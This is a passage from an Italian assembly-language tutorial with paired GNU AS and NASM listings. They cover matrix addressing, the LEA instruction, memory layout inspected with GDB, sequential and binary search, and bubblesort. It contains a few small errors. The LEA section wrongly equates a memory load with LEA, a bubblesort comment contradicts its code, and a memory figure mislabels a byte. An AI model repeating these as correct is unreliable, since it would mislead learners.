                  dd      30, 31, 32, 33, 34, 35, 36, 37, 38, 39
                  dd      40, 41, 42, 43, 44, 45, 46, 47, 48, 49
                  dd      50, 51, 52, 53, 54, 55, 56, 57, 58, 59
                  dd      60, 61, 62, 63, 64, 65, 66, 67, 68, 69
                  dd      70, 71, 72, 73, 74, 75, 76, 77, 78, 79
                  dd      80, 81, 82, 83, 84, 85, 86, 87, 88, 89
                  dd      90, 91, 92, 93, 94, 95, 96, 97, 98, 99
dimensione_int:   dd       4      ; 32 bit
dimensione_riga:  dd      40      ; 4 * 10 byte
riga:             dd       3      ; da 0 a 9
colonna:          dd       5      ; da 0 a 9
;
section .text
global _start
;
_start:
    mov   eax, [riga]                  ; Legge le coordinate di riga e
    mov   ecx, [colonna]               ; colonna, copiandole in EAX e ECX.
    mul   long [dimensione_riga]       ; EDX:EAX := EAX * 40.
    mov   ebx, [record+7+eax+ecx*4]    ; EBX := array[riga,colonna].
bp1:
    mov   eax, 1                       ; Restituisce il valore trovato
    int   0x80                         ; nella matrice.
```

In pratica, '**`record`**' individua l'inizio di una struttura composta da una stringa di sette byte, seguita da un centinaio di interi da 32 bit, suddivisi idealmente in righe da 10 unità. In pratica, una «riga» di questi numeri occupa 40 byte.

Per accedere a un certo elemento della matrice contenuta nel «record», occorre considerare uno scostamento iniziale di 7 byte, quindi occorre calcolare la posizione dell'elemento, secondo lo schema che si vede nella figura successiva.

riga := 3
colonna := 5

colonna

record: m a t r i c e

riga →

0	1	2	3	4	5	6	7	8	9
10	11	12	13	14	15	16	17	18	19
20	21	22	23	24	25	26	27	28	29
30	31	32	33	34	35	36	37	38	39
40	41	42	43	44	45	46	47	48	49
50	51	52	53	54	55	56	57	58	59
60	61	62	63	64	65	66	67	68	69
70	71	72	73	74	75	76	77	78	79
80	81	82	83	84	85	86	87	88	89
90	91	92	93	94	95	96	97	98	99

$$7 + (\text{riga} \times 40) + (\text{colonna} \times 4)$$

Viene proposto un altro esempio equivalente, ma realizzato gestendo in modo diverso l'indirizzamento. La dichiarazione dei dati è la stessa:

```
…
_start:
    mov   riga, %eax                  # Legge le coordinate di riga.
    mull  dimensione_riga             # EDX:EAX := EAX * 40.
    mov   %eax, %ecx                  # ECX := riga * 40.
    #
    mov   colonna, %eax               # Legge le coordinate di colonna.
    mull  dimensione_int              # EDX:EAX := EAX * 4.
    add   %eax, %ecx                  # ECX := (riga*40)+(colonna*4)
    #
    add   $7, %ecx                    # ECX := 7+(riga*40)+(colonna*4)
    mov   record(%ecx), %ebx          # EBX := array[riga,colonna].
bp1:
    mov   $1, %eax                    # Restituisce il valore trovato
    int   $0x80                       # nella matrice.
```

```
…
_start:
    mov   eax, [riga]                 ; Legge le coordinate di riga.
    mul   long [dimensione_riga]      ; EDX:EAX := EAX * 40.
    mov   ecx, eax                    ; ECX := riga * 40.
    ;
    mov   eax, [colonna]              ; Legge le coordinate di colonna.
    mul   long [dimensione_int]       ; EDX:EAX := EAX * 4.
    add   ecx, eax                    ; ECX := (riga*40)+(colonna*4)
    ;
    add   ecx, 7                      ; ECX := 7+(riga*40)+(colonna*4)
    mov   ebx, [record+ecx]           ; EBX := array[riga,colonna].
bp1:
    mov   eax, 1                      ; Restituisce il valore trovato
    int   0x80                        ; nella matrice.
```

Come si vede, si arriva a mettere nel registro ***ECX*** il risultato di 7+(***riga***×40)+(***colonna***×4); pertanto, alla fine si aggiunge solo l'indirizzo iniziale della struttura e si ottiene, complessivamente, l'indirizzo del valore cercato nella matrice.

Un altro esempio, dove si vede un altro modo di usare l'indirizzamento indiretto fornito dal linguaggio macchina:

```
…
_start:
    mov   riga, %eax                  # Legge le coordinate di riga.
    mull  dimensione_riga             # EDX:EAX := EAX * 40.
    mov   %eax, %ecx                  # ECX := riga * 40.
    #
    mov   colonna, %eax               # Legge le coordinate di colonna.
    mull  dimensione_int              # EDX:EAX := EAX * 4.
    add   %eax, %ecx                  # ECX := (riga*40)+(colonna*4)
    #
```

```
    add   $7, %ecx                  # ECX := 7+(riga*40)+(colonna*4)
    mov   $record, %edx             # EDX := indirizzo iniziale di "record".
    mov   (%edx,%ecx), %ebx         # EBX := array[riga,colonna].
bp1:
    mov   $1, %eax                  # Restituisce il valore trovato
    int   $0x80                     # nella matrice.
```

```
…
_start:
    mov   eax, [riga]               ; Legge le coordinate di riga.
    mul   long [dimensione_riga]    ; EDX:EAX := EAX * 40.
    mov   ecx, eax                  ; ECX := riga * 40.
    ;
    mov   eax, [colonna]            ; Legge le coordinate di colonna.
    mul   long [dimensione_int]     ; EDX:EAX := EAX * 4.
    add   ecx, eax                  ; ECX := (riga*40)+(colonna*4)
    ;
    add   ecx, 7                    ; ECX := 7+(riga*40)+(colonna*4)
    mov   edx, record               ; EDX := indirizzo iniziale di "record".
    mov   ebx, [edx+ecx]            ; EBX := array[riga,colonna].
bp1:
    mov   eax, 1                    ; Restituisce il valore trovato
    int   0x80                      ; nella matrice.
```

Infine, un esempio dove si fa in modo che ***ECX*** contenga l'indirizzo completo dell'elemento cercato:

```
…
_start:
    mov   riga, %eax                # Legge le coordinate di riga.
    mull  dimensione_riga           # EDX:EAX := EAX * 40.
    mov   %eax, %ecx                # ECX := riga * 40.
    #
    mov   colonna, %eax             # Legge le coordinate di colonna.
    mull  dimensione_int            # EDX:EAX := EAX * 4.
    add   %eax, %ecx                # ECX := (riga*40)+(colonna*4)
    #
    add   $7, %ecx                  # ECX := 7+(riga*40)+(colonna*4)
    add   $record, %ecx             # ECX := indirizzo completo.
    mov   (%ecx), %ebx              # EBX := array[riga,colonna].
bp1:
    mov   $1, %eax                  # Restituisce il valore trovato
    int   $0x80                     # nella matrice.
```

```
…
_start:
    mov   eax, [riga]               ; Legge le coordinate di riga.
    mul   long [dimensione_riga]    ; EDX:EAX := EAX * 40.
    mov   ecx, eax                  ; ECX := riga * 40.
    ;
```

```
    mov   eax, [colonna]              ; Legge le coordinate di colonna.
    mul   long [dimensione_int]       ; EDX:EAX := EAX * 4.
    add   ecx, eax                    ; ECX := (riga*40)+(colonna*4)
    ;
    add   ecx, 7                      ; ECX := 7+(riga*40)+(colonna*4)
    add   ecx, record                 ; ECX := indirizzo completo.
    mov   ebx, [ecx]                  ; EBX := array[riga,colonna].
bp1:
    mov   eax, 1                      ; Restituisce il valore trovato
    int   0x80                        ; nella matrice.
```

75.12.2 Istruzione «LEA»

L'istruzione '**LEA**' consente di calcolare un indirizzo di memoria e di salvarlo in un registro. Per esempio, le due istruzioni successive, una con '**MOV**' e l'altra con '**LEA**', fanno la stessa cosa:

```
mov   (%ecx), %ebx
lea   %ecx, %ebx
```

Ovvero:

```
mov   ebx, [ecx]
lea   ebx, ecx
```

Pertanto, con l'istruzione '**LEA**', ciò che appare nell'operando che svolge il ruolo di «origine» viene considerato solo per il suo indirizzo e copiato nella destinazione. La differenza sostanziale, rispetto a '**MOV**', sta nel poter usare le espressioni di indirizzamento indiretto. Per riprendere l'esempio usato precedentemente per mostrare come accedere a una matrice di numeri, si potrebbe fare una cosa come si vede nel listato successivo, anche se sarebbe poco utile in tale circostanza particolare:

```
...
_start:
    mov  riga, %eax                  # Legge le coordinate di riga e
    mov  colonna, %ecx               # colonna, copiandole in EAX e ECX.
    #
    mull dimensione_riga             # EDX:EAX := EAX * 40.
    #
    lea  (record+7)(%eax,%ecx,4), %edx # EDX contiene l'indirizzo dell'elemento.
    mov  (%edx), %ebx                # EBX := array[riga,colonna].
bp1:
    mov  $1, %eax                    # Restituisce il valore trovato
    int  $0x80                       # nella matrice.
```

```
...
_start:
    mov   eax, [riga]                ; Legge le coordinate di riga e
    mov   ecx, [colonna]             ; colonna, copiandole in EAX e ECX.
```

```
    ;
    mul   long [dimensione_riga]       ; EDX:EAX := EAX * 40.
    ;
    lea   edx, [record+7+eax+ecx*4]    ; EDX contiene l'indirizzo dell'elemento.
    mov   ebx, [edx]                   ; EBX := array[riga,colonna].
bp1:
    mov   eax, 1                       ; Restituisce il valore trovato
    int   0x80                         ; nella matrice.
```

75.13 Rappresentazione dei dati in memoria attraverso un esempio

Viene proposto un esempio in cui si utilizzano i tipi principali di variabili inizializzate in memoria, con due listati equivalenti, il primo adatto a GNU AS mentre il secondo è per NASM. In particolare, nel secondo listato, non potendo dichiarare variabili da 64 bit, sono state usate coppie di variabili a 32 bit, inizializzate tenendo conto dell'inversione *little endian*.

```
#
.section .data
numero8:     .byte   0b00010010                         # 0x12       # 18
numero16:    .short  0b0001001000110100                 # 0x1234     # 4660
numero32:    .int    0b00010010001101000101011001111000 # 0x12345678 # 305419896
numero64:    .quad   0x123456789ABCDEF0
carattere:   .byte   'A'
stringa:     .ascii  "testo"
caratteri:   .byte   'T', 'E', 'S', 'T', 'O'
             .skip 3, 0xFF
             .rept 4
             .byte   'Z'
             .endr
numeri8:     .byte   0x12, 0x34, 0x56, 0x78, 0x9A
numeri16:    .short  0xBCDE, 0xF012, 0x3456, 0x789A
numeri32:    .int    0xBCDEF012, 0x3456789A, 0xBCDEF012
numeri64:    .quad   0x3456789ABCDEF012, 0x3456789ABCDEF012
fine:        .byte   'F', 'I', 'N', 'E'
#
.section .text
.globl _start
#
_start:
    mov   $0, %ebx
    mov   $1, %eax
    int   $0x80
```

```
;
section .data
numero8:    db   00010010b                          ; 0x12        = 18
numero16:   dw   0001001000110100b                  ; 0x1234      = 4660
numero32:   dd   00010010001101000101011001111000b ; 0x12345678  = 305419896
```

```
numero64:    dd    0x9ABCDEF0, 0x12345678              ; 0x123456789ABCDEF0
carattere:   db    'A'
stringa:     db    "testo"
caratteri:   db    'T', 'E', 'S', 'T', 'O'
times 3      db    0xFF
times 4      db    'Z'
;
;
numeri8:     db    0x12, 0x34, 0x56, 0x78, 0x9A
numeri16:    dw    0xBCDE, 0xF012, 0x3456, 0x789A
numeri32:    dd    0xBCDEF012, 0x3456789A, 0xBCDEF012
numeri64:    dd    0xBCDEF012, 0x3456789A, 0xBCDEF012, 0x3456789A
fine:        db    'F', 'I', 'N', 'E'
;
section .text
global _start
;
_start:
    mov    ebx, 0
    mov    eax, 1
    int    0x80
```

Il programma in questione non fa alcunché e serve solo per verificare con GDB come sono rappresentati i dati in memoria e come questi si possono leggere. Complessivamente, le variabili occupano 78 byte, secondo lo schema che si vede nella figura successiva, dove vengono riprodotte anche le inversioni dovute alla rappresentazione *little endian*:

numero8 12	numero16 34	12	numero32 78	56	34	12	numero64 0F
DE	BC	9A	78	56	34	12	carattere 41 (A)
stringa 74 (t)	65 (e)	73 (s)	74 (t)	6F (o)	caratteri 54 (T)	45 (E)	53 (S)
54 (T)	4F (O)	FF	FF	FF	5A (Z)	5A (Z)	5A (Z)
5A (Z)	numeri8 12	34	56	78	9A	numeri16 DE	BC
12	F0	56	34	9A	78	numeri32 12	F0
DE	BC	9A	78	56	34	12	F0
DE	BC	numeri64 12	F0	DE	BC	9A	78
56	34	12	F0	DE	BC	9A	78
56	34	fine 46 (F)	49 (I)	4E (N)	45 (E)		

Per leggere la memoria già inizializzata con GDB non è necessario avviare il programma, in quanto, appena aperto, questa è subito accessibile:

$ **gdb** ***nome_programma*** [*Invio*]

(gdb) **print /x (char[78])numero8** [*Invio*]

```
$1 = {0x12, 0x34, 0x12, 0x78, 0x56, 0x34, 0x12, 0xf0, 0xde, 0xbc, 0x9a, 0x78,
  0x56, 0x34, 0x12, 0x41, 0x74, 0x65, 0x73, 0x74, 0x6f, 0x54, 0x45, 0x53,
  0x54, 0x4f, 0xff, 0xff, 0xff, 0x5a, 0x5a, 0x5a, 0x5a, 0x12, 0x34, 0x56,
  0x78, 0x9a, 0xde, 0xbc, 0x12, 0xf0, 0x56, 0x34, 0x9a, 0x78, 0x12, 0xf0,
  0xde, 0xbc, 0x9a, 0x78, 0x56, 0x34, 0x12, 0xf0, 0xde, 0xbc, 0x12, 0xf0,
  0xde, 0xbc, 0x9a, 0x78, 0x56, 0x34, 0x12, 0xf0, 0xde, 0xbc, 0x9a, 0x78,
  0x56, 0x34, 0x46, 0x49, 0x4e, 0x45}
```

Quello che viene richiesto con il comando appena mostrato è di mostrare la memoria a partire dall'indirizzo corrispondente al simbolo '**numero8**' (pertanto dall'inizio), in forma di array di byte, composto da 78 elementi. Si può verificare la corrispondenza tra quanto ottenuto e la figura mostrata in precedenza.

Con i comandi successivi si ispezionano le variabili, singolarmente. È sempre necessario dichiarare la dimensione a cui si è interessati, quando questa è diversa da quella predefinita (32 bit). Non è possibile ispezionare le variabili da 64 bit in modo complessivo, pertanto occorre arrangiarsi, come se fossero array di due numeri a 32 bit. Nei comandi mostrati appare spesso l'opzione '**/*f***', con la quale si dichiara il tipo di rappresentazione che si vuole ottenere.

(gdb) **print /x (char)numero8** [*Invio*]

```
$2 = 0x12
```

(gdb) **print (char)numero8** [*Invio*]

```
$3 = 18 '\022'
```

(gdb) **print /x (short)numero16** [*Invio*]

```
$4 = 0x1234
```

(gdb) **print (short)numero16** [*Invio*]

```
$5 = 4660
```

(gdb) **print /x (int)numero32** [*Invio*]

```
$6 = 0x12345678
```

(gdb) **print (int)numero32** [*Invio*]

```
$7 = 305419896
```

(gdb) **print /x (int[2])numero64** [*Invio*]

```
$8 = {0x9abcdef0, 0x12345678}
```

```
(gdb) print (char)carattere [Invio]

  $9 = 65 'A'

(gdb) print (char[11])carattere [Invio]

  $10 = "AtestoTESTO"

(gdb) print (char[5])stringa [Invio]

  $11 = "testo"

(gdb) print (char[5])caratteri [Invio]

  $12 = "TESTO"

(gdb) print /x (char[12])caratteri [Invio]

  $13 = {0x54, 0x45, 0x53, 0x54, 0x4f, 0xff, 0xff, 0xff, 0x5a, 0x5a, 0x5a, 0x5a}

(gdb) print /x (char[5])numeri8 [Invio]

  $14 = {0x12, 0x34, 0x56, 0x78, 0x9a}

(gdb) print /d (char[5])numeri8 [Invio]

  $15 = {18, 52, 86, 120, -102}

(gdb) print /x (short[4])numeri16 [Invio]

  $16 = {0xbcde, 0xf012, 0x3456, 0x789a}

(gdb) print /d (short[4])numeri16 [Invio]

  $17 = {-17186, -4078, 13398, 30874}

(gdb) print /d (unsigned short[4])numeri16 [Invio]

  $18 = {48350, 61458, 13398, 30874}

(gdb) print /x (int[3])numeri32 [Invio]

  $19 = {0xbcdef012, 0x3456789a, 0xbcdef012}

(gdb) print /d (int[3])numeri32 [Invio]

  $20 = {-1126240238, 878082202, -1126240238}

(gdb) print /d (unsigned int[3])numeri32 [Invio]
```

```
$21 = {3168727058, 878082202, 3168727058}
```

(gdb) **print /x (int[4])numeri64** [*Invio*]

```
$22 = {0xbcdef012, 0x3456789a, 0xbcdef012, 0x3456789a}
```

(gdb) **print (char[4])fine** [*Invio*]

```
$23 = "FINE"
```

75.14 Esempi con gli array

Vengono mostrati alcuni esempi elementari di scansione di array, adatti alla compilazione con GNU AS e NASM. Si dà per scontato che si sappia utilizzare GDB per ispezionare la memoria e leggere, in particolare, il contenuto degli array stessi.

Negli esempi viene usata la direttiva '**.equ**', o '**equ**', per associare una sigla al livello in cui si trovano i dati nella pila (più precisamente nello *stack frame*).

Tutti gli esempi sono mostrati con listati a coppie: uno valido per GNU AS e l'altro per NASM.

75.14.1 Ricerca sequenziale

Viene mostrato un esempio di programma contenente una funzione che esegue una ricerca sequenziale all'interno di un array di interi, senza segno. Il metodo utilizzato si rifà a quanto descritto in pseudocodifica nella sezione 73.4.1. Il risultato della scansione viene emesso attraverso il valore restituito dal programma; ciò che si ottiene è precisamente l'indice dell'elemento trovato, oppure −1 se nessun elemento corrisponde.

```
# Ricerca sequenziale.
#
.section .data
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23       # Interi senza segno.
a:      .int    0                                       # Indice minimo.
z:      .int    9                                       # Indice massimo.
#
.section .text
.globl _start
#
# Main.
#
_start:
    push  z                 # f_rs ($lista, $7, a, z) ==> EAX
    push  a                 # Si cerca il valore 7 nell'array
    push  $7                # «lista», tra gli indici «a» e «z».
    push  $lista            # Viene restituito l'indice dell'elemento
    call  f_rs              # trovato, oppure -1 se non è presente.
    add   $16, %esp         #
bp1:
    mov   %eax, %ebx        # Restituisce l'indice trovato,
```

```
    mov   $1, %eax         # ammesso che sia abbastanza piccolo
    int   $0x80            # da poter essere rappresentato come
                           # valore di uscita.
#
# Ricerca sequenziale all'interno di una lista di valori.
# f_rs (lista, x, a, z) ==> EAX
# Al termine EAX contiene l'indice del valore trovato,
# oppure -1 se questo non c'è.
#
f_rs:
    enter $4, $0
    pusha
    .equ  rs_i,     -4           # Gli si associa EAX.
    .equ  rs_lista,  8           # Gli si associa ESI.
    .equ  rs_x,     12           # Gli si associa EDX.
    .equ  rs_a,     16
    .equ  rs_z,     20
    #
    mov   rs_lista(%ebp), %esi   # ESI contiene l'indirizzo dell'array.
    mov   rs_x(%ebp),     %edx   # EDX contiene il valore cercato.
    #
    mov   rs_a(%ebp),     %eax   # EAX viene usato come indice di scansione.
f_rs_loop:
    cmp   rs_z(%ebp),     %eax   # Se EAX è maggiore dell'indice massimo,
    ja    f_rs_non_trovato       # l'elemento cercato non c'è.
    #
    cmp   (%esi,%eax,4),  %edx   # Se il valore cercato corrisponde a quello
    je    f_rs_trovato           # dell'indice corrente, termina la scansione.
    #
    inc   %eax                   # Incrementa l'indice di scansione e
    jmp   f_rs_loop              # salta all'inizio del ciclo.
    #
f_rs_non_trovato:
    popa                   # Conclude la funzione con EAX = -1.
    mov $-1, %eax          #
    leave                  #
    ret                    #
f_rs_trovato:
    mov %eax, rs_i(%ebp)   # Salva EAX nella variabile locale prevista.
    popa                   # Conclude la funzione con EAX pari
    mov rs_i(%ebp), %eax   # al valore salvato nella variabile
    leave                  # locale.
    ret                    #
```

```
; Ricerca sequenziale.
;
section .data
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23       ; Interi senza segno.
a:      dd      0                                       ; Indice minimo.
z:      dd      9                                       ; Indice massimo.
;
section .text
```

```
global _start
;
; Main.
;
_start:
    push  long [z]          ; f_rs ($lista, $7, a, z) ==> EAX
    push  long [a]          ; Si cerca il valore 7 nell'array
    push  long 7            ; «lista», tra gli indici «a» e «z».
    push  lista             ; Viene restituito l'indice dell'elemento
    call  f_rs              ; trovato, oppure -1 se non è presente.
    add   esp, 16           ;
bp1:
    mov   ebx, eax          ; Restituisce l'indice trovato,
    mov   eax, 1            ; ammesso che sia abbastanza piccolo
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;
; Ricerca sequenziale all'interno di una lista di valori.
; f_rs (lista, x, a, z) ==> EAX
; Al termine EAX contiene l'indice del valore trovato,
; oppure -1 se questo non c'è.
;
f_rs:
    enter 4, 0
    pusha
    rs_i     equ -4             ; Gli si associa EAX.
    rs_lista equ  8             ; Gli si associa ESI.
    rs_x     equ 12             ; Gli si associa EDX.
    rs_a     equ 16
    rs_z     equ 20
    ;
    mov   esi, [rs_lista+ebp]   ; ESI contiene l'indirizzo dell'array.
    mov   edx, [rs_x+ebp]       ; EDX contiene il valore cercato.
    ;
    mov   eax, [rs_a+ebp]       ; EAX viene usato come indice di scansione.
f_rs_loop:
    cmp   eax, [rs_z+ebp]       ; Se EAX è maggiore dell'indice massimo,
    ja    f_rs_non_trovato      ; l'elemento cercato non c'è.
    ;
    cmp   edx, [esi+eax*4]      ; Se il valore cercato corrisponde a quello
    je    f_rs_trovato          ; dell'indice corrente, termina la scansione.
    ;
    inc   eax                   ; Incrementa l'indice di scansione e
    jmp   f_rs_loop             ; salta all'inizio del ciclo.
    ;
f_rs_non_trovato:
    popa                    ; Conclude la funzione con EAX = -1.
    mov eax, -1             ;
    leave                   ;
    ret                     ;
f_rs_trovato:
    mov [rs_i+ebp], eax     ; Salva EAX nella variabile locale prevista.
    popa                    ; Conclude la funzione con EAX pari
```

```
    mov eax, [rs_i+ebp]     ; al valore salvato nella variabile
    leave                   ; locale.
    ret                     ;
```

75.14.2 Ricerca binaria

Viene mostrato un esempio di programma contenente una funzione che esegue una ricerca binaria all'interno di un array ordinato, di interi con segno. Il metodo utilizzato si rifà a quanto descritto in pseudocodifica nella sezione 73.4.2. Il risultato della scansione viene emesso attraverso il valore restituito dal programma; ciò che si ottiene è precisamente l'indice dell'elemento trovato, oppure −1 se nessun elemento corrisponde.

```
# Ricerca binaria.
#
.section .data
lista:  .int    1, 3, 4, 7, 9, 10, 11, 22, 23, 44       # Interi con segno.
a:      .int    0                                       # Indice minimo.
z:      .int    9                                       # Indice massimo.
#
.section .text
.globl _start
#
# Main.
#
_start:
    push  z                 # f_rb ($lista, $7, a, z) ==> EAX
    push  a                 # Si cerca il valore 7 nell'array ordinato
    push  $7                # «lista», tra gli indici «a» e «z».
    push  $lista            # Viene restituito l'indice dell'elemento
    call  f_rb              # trovato, oppure -1 se non è presente.
    add   $16, %esp         #
bp1:
    mov   %eax, %ebx        # Restituisce l'indice trovato,
    mov   $1, %eax          # ammesso che sia abbastanza piccolo
    int   $0x80             # da poter essere rappresentato come
                            # valore di uscita.
#
# Ricerca binaria all'interno di una lista ordinata di valori.
# f_rb (lista, x, a, z) ==> EAX
# Al termine EAX contiene l'indice del valore trovato,
# oppure -1 se questo non c'è.
#
f_rb:
    enter $4, $0
    pusha
    .equ  rb_m,     -4            # Gli si associa EAX.
    .equ  rb_lista,  8            # Gli si associa ESI.
    .equ  rb_x,     12            # Gli si associa EDX.
    .equ  rb_a,     16
    .equ  rb_z,     20
    #
```

```
    mov   rb_lista(%ebp), %esi   # ESI contiene l'indirizzo dell'array.
    mov   rb_x(%ebp),     %edx   # EDX contiene il valore cercato.
                                 # EAX viene usato come «elemento centrale».
    #
    mov   rb_a(%ebp), %eax       # Calcola l'indice dell'elemento centrale
    add   rb_z(%ebp), %eax       # e lo mette in EAX. Lo scorrimento a
    sar   $1, %eax               # destra serve a dividere per due EAX.
    #
bp2:
    cmp   rb_a(%ebp), %eax       # Se EAX, ovvero l'indice, è minore
    jb    f_rb_non_trovato       # dell'indice minimo, l'elemento non c'è.
    #
    cmp   (%esi,%eax,4), %edx    # Se il valore cercato è minore di quello
    jl    f_rb_minore            # trovato, cerca nella parte inferiore;
    jg    f_rb_maggiore          # se è maggiore cerca in quella superiore;
    je    f_rb_fine              # se è uguale, l'elemento è stato trovato.
    #
f_rb_minore:
    dec   %eax
    push  %eax             # f_rb (lista, x, a, z) ==> EAX
    push  rb_a(%ebp)       # Si cerca il valore nell'array ordinato
    push  %edx             # «lista», tra gli indici «a» e «z».
    push  %esi             # Viene restituito l'indice dell'elemento
    call  f_rb             # trovato, oppure -1 se non è presente.
    add   $16, %esp        #
    jmp   f_rb_fine
    #
f_rb_maggiore:
    inc   %eax
    push  rb_z(%ebp)       # f_rb (lista, x, a, z) ==> EAX
    push  %eax             # Si cerca il valore nell'array ordinato
    push  %edx             # «lista», tra gli indici «a» e «z».
    push  %esi             # Viene restituito l'indice dell'elemento
    call  f_rb             # trovato, oppure -1 se non è presente.
    add   $16, %esp        #
    jmp   f_rb_fine
    #
f_rb_non_trovato:
    mov $-1, %eax          # Conclude la funzione con EAX = -1.
    jmp f_rb_fine
f_rb_fine:
    mov %eax, rb_m(%ebp)   # Salva EAX nella variabile locale prevista.
    popa                   # Conclude la funzione con EAX pari
    mov rb_m(%ebp), %eax   # al valore salvato nella variabile
    leave                  # locale.
    ret                    #
```

```
; Ricerca binaria.
;
section .data
lista:  dd      1, 3, 4, 7, 9, 10, 11, 22, 23, 44       ; Interi con segno.
a:      dd      0                                       ; Indice minimo.
```

```
z:      dd      9                                       ; Indice massimo.
;
section .text
global _start
;
; Main.
;
_start:
    push  long [z]          ; f_rb ($lista, $7, a, z) ==> EAX
    push  long [a]          ; Si cerca il valore 7 nell'array ordinato
    push  long 7            ; «lista», tra gli indici «a» e «z».
    push  lista             ; Viene restituito l'indice dell'elemento
    call  f_rb              ; trovato, oppure -1 se non è presente.
    add   esp, 16           ;
bp1:
    mov   ebx, eax          ; Restituisce l'indice trovato,
    mov   eax, 1            ; ammesso che sia abbastanza piccolo
    int   0x80              ; da poter essere rappresentato come
                            ; valore di uscita.
;
; Ricerca binaria all'interno di una lista ordinata di valori.
; f_rb (lista, x, a, z) ==> EAX
; Al termine EAX contiene l'indice del valore trovato,
; oppure -1 se questo non c'è.
;
f_rb:
    enter 4, 0
    pusha
    rb_m     equ -4               ; Gli si associa EAX.
    rb_lista equ  8               ; Gli si associa ESI.
    rb_x     equ 12               ; Gli si associa EDX.
    rb_a     equ 16
    rb_z     equ 20
    ;
    mov   esi, [rb_lista+ebp]     ; ESI contiene l'indirizzo dell'array.
    mov   edx, [rb_x+ebp]         ; EDX contiene il valore cercato.
                                  ; EAX viene usato come «elemento centrale».
    ;
    mov   eax, [rb_a+ebp]         ; Calcola l'indice dell'elemento centrale
    add   eax, [rb_z+ebp]         ; e lo mette in EAX. Lo scorrimento a
    sar   eax, 1                  ; destra serve a dividere per due EAX.
    ;
bp2:
    cmp   eax, [rb_a+ebp]         ; Se EAX, ovvero l'indice, è minore
    jb    f_rb_non_trovato        ; dell'indice minimo, l'elemento non c'è.
    ;
    cmp   edx, [esi+eax*4]        ; Se il valore cercato è minore di quello
    jl    f_rb_minore             ; trovato, cerca nella parte inferiore;
    jg    f_rb_maggiore           ; se è maggiore cerca in quella superiore;
    je    f_rb_fine               ; se è uguale, l'elemento è stato trovato.
    ;
f_rb_minore:
    dec   eax
```

```
    push  eax               ; f_rb (lista, x, a, z) ==> EAX
    push  long [rb_a+ebp]   ; Si cerca il valore nell'array ordinato
    push  edx               ; «lista», tra gli indici «a» e «z».
    push  esi               ; Viene restituito l'indice dell'elemento
    call  f_rb              ; trovato, oppure -1 se non è presente.
    add   esp, 16           ;
    jmp   f_rb_fine
    ;
f_rb_maggiore:
    inc   eax
    push  long [rb_z+ebp]   ; f_rb (lista, x, a, z) ==> EAX
    push  eax               ; Si cerca il valore nell'array ordinato
    push  edx               ; «lista», tra gli indici «a» e «z».
    push  esi               ; Viene restituito l'indice dell'elemento
    call  f_rb              ; trovato, oppure -1 se non è presente.
    add   esp, 16           ;
    jmp   f_rb_fine
    ;
f_rb_non_trovato:
    mov eax, -1             ; Conclude la funzione con EAX = -1.
    jmp f_rb_fine
f_rb_fine:
    mov [rb_m+ebp], eax     ; Salva EAX nella variabile locale prevista.
    popa                    ; Conclude la funzione con EAX pari
    mov eax, [rb_m+ebp]     ; al valore salvato nella variabile
    leave                   ; locale.
    ret                     ;
```

75.14.3 Bubblesort

Viene mostrato un esempio di programma che esegue il riordino di array attraverso l'algoritmo Bubblesort. L'array in question contiene numeri interi con segno. L'algoritmo è descritto in pseudocodifica nella sezione 73.5.1.

```
# Bubblesort
#
.section .data
lista:  .int    1, 4, 3, 7, 9, 10, 22, 44, 11, 23       # Interi con segno.
a:      .int    0                                       # Indice minimo.
z:      .int    9                                       # Indice massimo.
#
.section .text
.globl _start
#
# Main.
#
_start:
    push  z                 # f_bs ($lista, a, z)
    push  a                 # Riordina l'array «lista» senza restituire
    push  $lista            # alcun valore.
    call  f_bs              #
```

```
    add   $12, %esp         #
bp1:
    mov   $0, %ebx          # Restituisce sempre zero.
    mov   $1, %eax          #
    int   $0x80             #
#
# Riordino con l'algoritmo «bubblesort».
# f_bs (lista, a, z)
#
f_bs:
    enter $0, $0
    pusha
    .equ  bs_lista,  8         # EDX
    .equ  bs_a,     12         #
    .equ  bs_z,     16         #
                               #
    mov bs_lista(%ebp), %edx   # EDX contiene il riferimento alla lista.
                               #
                               # ESI viene usato come indice di scansione.
                               # EDI viene usato come indice di scansione.
                               # EAX viene usato per scambiare i valori.
                               # EBX viene usato per scambiare i valori.
    mov   bs_a(%ebp), %esi     # ESI parte dall'indice iniziale.
f_bs_loop_1:
    cmp   bs_z(%ebp), %esi     # Se ESI >= z, termina.
    jae   f_bs_end_loop_1      #
    #
    mov   %esi, %edi           # EDI := ESI - 1
    inc   %edi                 #
f_bs_loop_2:
    cmp   bs_z(%ebp), %edi     # Se EDI > z, termina.
    ja    f_bs_end_loop_2      #
    #
    mov   (%edx,%esi,4), %eax # Se EBX < EAX scambia i valori
    mov   (%edx,%edi,4), %ebx #
    cmp   %eax, %ebx           #
    jl    f_bs_scambio         #
f_bs_loop_2_inc_edi:
    inc   %edi                 # EDI++
    jmp   f_bs_loop_2          #
f_bs_scambio:
    mov   %eax, (%edx,%edi,4) # lista[ESI] :==: lista[EDI]
    mov   %ebx, (%edx,%esi,4) #
    jmp   f_bs_loop_2          #
f_bs_end_loop_2:
    inc   %esi                 # ESI++
    jmp   f_bs_loop_1          #
f_bs_end_loop_1:
    popa
    leave
    ret
```

```
; Bubblesort
;
section .data
lista:  dd      1, 4, 3, 7, 9, 10, 22, 44, 11, 23       ; Interi con segno.
a:      dd      0                                       ; Indice minimo.
z:      dd      9                                       ; Indice massimo.
;
section .text
global _start
;
; Main.
;
_start:
    push  long [z]         ; f_bs ($lista, a, z)
    push  long [a]         ; Riordina l'array «lista» senza restituire
    push  long lista       ; alcun valore.
    call  f_bs             ;
    add   esp, 12          ;
bp1:
    mov   ebx, 0           ; Restituisce sempre zero.
    mov   eax, 1           ;
    int   0x80             ;
;
; Riordino con l'algoritmo «bubblesort».
; f_bs (lista, a, z)
;
f_bs:
    enter 0, 0
    pusha
    bs_lista equ  8           ; EDX
    bs_a     equ 12           ;
    bs_z     equ 16           ;
                              ;
    mov   edx, [bs_lista+ebp] ; EDX contiene il riferimento alla lista.
                              ;
                              ; ESI viene usato come indice di scansione.
                              ; EDI viene usato come indice di scansione.
                              ; EAX viene usato per scambiare i valori.
                              ; EBX viene usato per scambiare i valori.
    mov   esi, [bs_a+ebp]     ; ESI parte dall'indice iniziale.
f_bs_loop_1:
    cmp   esi, [bs_z+ebp]     ; Se ESI >= z, termina.
    jae   f_bs_end_loop_1     ;
    ;
